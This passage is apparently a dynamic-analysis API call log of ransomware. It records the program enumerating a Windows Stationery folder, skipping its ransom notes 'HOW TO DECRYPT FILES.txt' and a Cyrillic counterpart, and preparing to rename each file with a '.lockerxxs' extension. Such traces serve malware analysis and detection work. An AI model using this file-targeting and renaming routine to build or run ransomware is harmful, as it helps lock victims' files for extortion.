nFileSizeLow=0x780, dwReserved0=0x4f8268, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0058.799] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.799] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Roses.jpg") returned -1 [0058.799] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Roses.jpg") returned -1 [0058.799] lstrcmpiA (lpString1="", lpString2="Roses.jpg") returned -1 [0058.799] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned="Roses.htm" [0058.799] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.799] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.799] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.799] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.799] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Roses.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" [0058.799] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" [0058.799] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" [0058.799] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg." [0058.800] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.lockerxxs" [0058.800] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.800] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x4f8268, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0058.801] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.801] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Sand_Paper.jpg") returned -1 [0058.801] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Sand_Paper.jpg") returned -1 [0058.801] lstrcmpiA (lpString1="", lpString2="Sand_Paper.jpg") returned -1 [0058.801] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned="Roses.jpg" [0058.801] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.801] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.801] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.801] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.801] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Sand_Paper.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" [0058.801] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" [0058.801] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" [0058.801] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg." [0058.801] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.lockerxxs" [0058.801] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.801] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0058.801] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.802] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Seyes.emf") returned -1 [0058.802] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Seyes.emf") returned -1 [0058.802] lstrcmpiA (lpString1="", lpString2="Seyes.emf") returned -1 [0058.802] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned="Sand_Paper.jpg" [0058.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.802] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.802] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.802] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.802] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Seyes.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" [0058.802] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0058.802] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.802] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Shades of Blue.htm") returned -1 [0058.802] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Shades of Blue.htm") returned -1 [0058.802] lstrcmpiA (lpString1="", lpString2="Shades of Blue.htm") returned -1 [0058.802] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned="Seyes.emf" [0058.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.802] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.802] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.802] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.803] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Shades of Blue.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" [0058.803] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" [0058.803] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" [0058.803] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm." [0058.803] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.lockerxxs" [0058.803] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.804] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x4f8280, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0058.804] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.804] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ShadesOfBlue.jpg") returned -1 [0058.804] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ShadesOfBlue.jpg") returned -1 [0058.804] lstrcmpiA (lpString1="", lpString2="ShadesOfBlue.jpg") returned -1 [0058.804] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned="Shades of Blue.htm" [0058.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.805] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.806] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.806] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.806] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="ShadesOfBlue.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" [0058.806] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" [0058.806] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" [0058.806] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg." [0058.806] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.lockerxxs" [0058.806] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.807] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0058.807] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.807] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Shorthand.emf") returned -1 [0058.807] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Shorthand.emf") returned -1 [0058.807] lstrcmpiA (lpString1="", lpString2="Shorthand.emf") returned -1 [0058.807] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg" [0058.807] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.807] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.807] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.807] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.807] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Shorthand.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" [0058.807] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0058.808] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.808] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Small_News.jpg") returned -1 [0058.808] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Small_News.jpg") returned -1 [0058.808] lstrcmpiA (lpString1="", lpString2="Small_News.jpg") returned -1 [0058.808] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned="Shorthand.emf" [0058.808] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.808] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.808] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.808] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.808] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Small_News.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" [0058.808] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" [0058.808] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" [0058.808] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg." [0058.808] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.lockerxxs" [0058.808] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.809] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0058.809] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.809] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Soft Blue.htm") returned -1 [0058.809] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Soft Blue.htm") returned -1 [0058.809] lstrcmpiA (lpString1="", lpString2="Soft Blue.htm") returned -1 [0058.809] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned="Small_News.jpg" [0058.809] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.809] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.809] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft 